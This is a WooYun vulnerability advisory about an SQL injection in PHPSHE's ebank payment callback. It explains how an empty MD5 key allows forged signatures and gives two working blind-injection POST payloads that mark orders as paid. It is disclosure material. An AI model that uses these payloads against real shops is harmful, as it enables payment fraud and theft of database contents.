当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105301

漏洞标题:PHPSHE SQL注入

相关厂商:phpshe.com

漏洞作者: xiaoL

提交时间:2015-04-03 16:57

修复时间:2015-07-12 22:54

公开时间:2015-07-12 22:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开

简要描述:

又SQL注入了。

详细说明:

WooYun: PHPSHE SQL注入
来看看这个去年的漏洞修复的怎么样了- -

<?php
include('../../../../common.php');
$cache_payway = cache::get('payway');
$payway = unserialize($cache_payway['ebank']['payway_config']);
$key = $payway['ebank_md5']; //??????????这个位置呢?
$v_oid =trim($_POST['v_oid']);
$v_pmode =trim($_POST['v_pmode']);
$v_pstatus =trim($_POST['v_pstatus']);
$v_pstring =trim($_POST['v_pstring']);
$v_amount =trim($_POST['v_amount']);
$v_moneytype =trim($_POST['v_moneytype']);
$remark1 =trim($_POST['remark1']);
$remark2 =trim($_POST['remark2']);
$v_md5str =trim($_POST['v_md5str']);
/**
* 重新计算md5的值
*/

$md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key));
/**
* 判断返回信息,如果支付成功,并且支付结果可信,则做进一步的处理
*/
if ($v_md5str==$md5string) {
if($v_pstatus=="20") {
$info = $db->pe_select('order', array('order_id'=>$v_oid));
if ($info['order_state'] == 'notpay') {
$order['order_outid'] = $v_pmode;
$order['order_payway'] = 'ebank';
$order['order_state'] = 'paid';
$order['order_ptime'] = time();
$db->pe_update('order', array('order_id'=>$v_oid), $order);
pe_success('订单支付成功...');
}
}
else {
echo "支付失败";
}
}
else{
echo "<br>校验失败,数据可疑"; //多了这么一句- - 不知道其他地方修复的怎么样
}
?>
</BODY>
</HTML>


可以看到官网也更新了

3333.png


接下来检查$payway['ebank_md5']; 这个值在哪里。
后台的话是在
http://localhost/admin.php?mod=payway&act=edit&id=1

55555.png


然后这个值是写在
\data\cache\payway.cache.php里面的。

7777.png


本来以为修复好了,但是!
这个serialize明显错了,所以unserialize根本就解不出正确的ebank_md5的值,因此这里$key还是空的,导致了再次的注入。

漏洞证明:

所以注入方式还是那样的。
真:
localhost/include/plugin/payway/ebank/Receive.php
POST:
v_oid=1504010001' and substring(user(),1,1)=char(114)-- 1&v_pstatus=20&v_amount=1&v_moneytype=1&v_md5str=142B4BECC6EBEDDF345ED1EDAA4CD1A1
就会更新数据库。

1111.png


假:
localhost/include/plugin/payway/ebank/Receive.php
POST:
v_oid=1504010001' and substring(user(),1,1)=char(11)-- 1&v_pstatus=20&v_amount=1&v_moneytype=1&v_md5str=E525D914466B228CD57DEDB0D90F8674
就只执行一条语句。

2222.png

修复方案:

好好处理unserialize()
里面的数据。

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-12 22:54

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无